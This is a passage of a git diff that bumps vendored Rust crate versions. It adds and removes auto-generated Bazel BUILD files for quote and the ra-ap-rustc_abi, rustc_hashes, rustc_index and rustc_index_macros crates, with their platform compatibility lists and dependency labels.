-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "1.0.38",
-    deps = [
-        "@vendor__proc-macro2-1.0.93//:proc_macro2",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.quote-1.0.40.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.quote-1.0.40.bazel
new file mode 100644
index 000000000000..927021d33315
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.quote-1.0.40.bazel
@@ -0,0 +1,90 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "quote",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_features = [
+        "default",
+        "proc-macro",
+    ],
+    crate_root = "src/lib.rs",
+    edition = "2018",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=quote",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "1.0.40",
+    deps = [
+        "@vendor_ts__proc-macro2-1.0.94//:proc_macro2",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_abi-0.100.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_abi-0.100.0.bazel
new file mode 100644
index 000000000000..f1bf54464e65
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_abi-0.100.0.bazel
@@ -0,0 +1,93 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "ra_ap_rustc_abi",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    aliases = {
+        "@vendor_ts__ra-ap-rustc_hashes-0.100.0//:ra_ap_rustc_hashes": "rustc_hashes",
+        "@vendor_ts__ra-ap-rustc_index-0.100.0//:ra_ap_rustc_index": "rustc_index",
+    },
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2024",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=ra-ap-rustc_abi",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.100.0",
+    deps = [
+        "@vendor_ts__bitflags-2.8.0//:bitflags",
+        "@vendor_ts__ra-ap-rustc_hashes-0.100.0//:ra_ap_rustc_hashes",
+        "@vendor_ts__ra-ap-rustc_index-0.100.0//:ra_ap_rustc_index",
+        "@vendor_ts__tracing-0.1.41//:tracing",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_abi-0.87.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_abi-0.87.0.bazel
deleted file mode 100644
index 4eb18732fe05..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_abi-0.87.0.bazel
+++ /dev/null
@@ -1,91 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "ra_ap_rustc_abi",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    aliases = {
-        "@vendor__ra-ap-rustc_index-0.87.0//:ra_ap_rustc_index": "rustc_index",
-    },
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=ra-ap-rustc_abi",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.87.0",
-    deps = [
-        "@vendor__bitflags-2.7.0//:bitflags",
-        "@vendor__ra-ap-rustc_index-0.87.0//:ra_ap_rustc_index",
-        "@vendor__tracing-0.1.41//:tracing",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_hashes-0.100.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_hashes-0.100.0.bazel
new file mode 100644
index 000000000000..6be975644deb
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_hashes-0.100.0.bazel
@@ -0,0 +1,86 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "ra_ap_rustc_hashes",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2024",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=ra-ap-rustc_hashes",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.100.0",
+    deps = [
+        "@vendor_ts__rustc-stable-hash-0.1.1//:rustc_stable_hash",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_index-0.100.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_index-0.100.0.bazel
new file mode 100644
index 000000000000..65efb7c784ee
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_index-0.100.0.bazel
@@ -0,0 +1,92 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "ra_ap_rustc_index",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    aliases = {
+        "@vendor_ts__ra-ap-rustc_index_macros-0.100.0//:ra_ap_rustc_index_macros": "rustc_index_macros",
+    },
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2024",
+    proc_macro_deps = [
+        "@vendor_ts__ra-ap-rustc_index_macros-0.100.0//:ra_ap_rustc_index_macros",
+    ],
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=ra-ap-rustc_index",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.100.0",
+    deps = [
+        "@vendor_ts__smallvec-1.14.0//:smallvec",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_index-0.87.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_index-0.87.0.bazel
deleted file mode 100644
index db976fae9026..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_index-0.87.0.bazel
+++ /dev/null
@@ -1,92 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "ra_ap_rustc_index",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    aliases = {
-        "@vendor__ra-ap-rustc_index_macros-0.87.0//:ra_ap_rustc_index_macros": "rustc_index_macros",
-    },
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    proc_macro_deps = [
-        "@vendor__ra-ap-rustc_index_macros-0.87.0//:ra_ap_rustc_index_macros",
-    ],
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=ra-ap-rustc_index",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.87.0",
-    deps = [
-        "@vendor__smallvec-1.13.2//:smallvec",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_index_macros-0.100.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_index_macros-0.100.0.bazel
new file mode 100644
index 000000000000..63d0286a338d
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_index_macros-0.100.0.bazel
@@ -0,0 +1,88 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_proc_macro")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_proc_macro(
+    name = "ra_ap_rustc_index_macros",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2024",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=ra-ap-rustc_index_macros",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
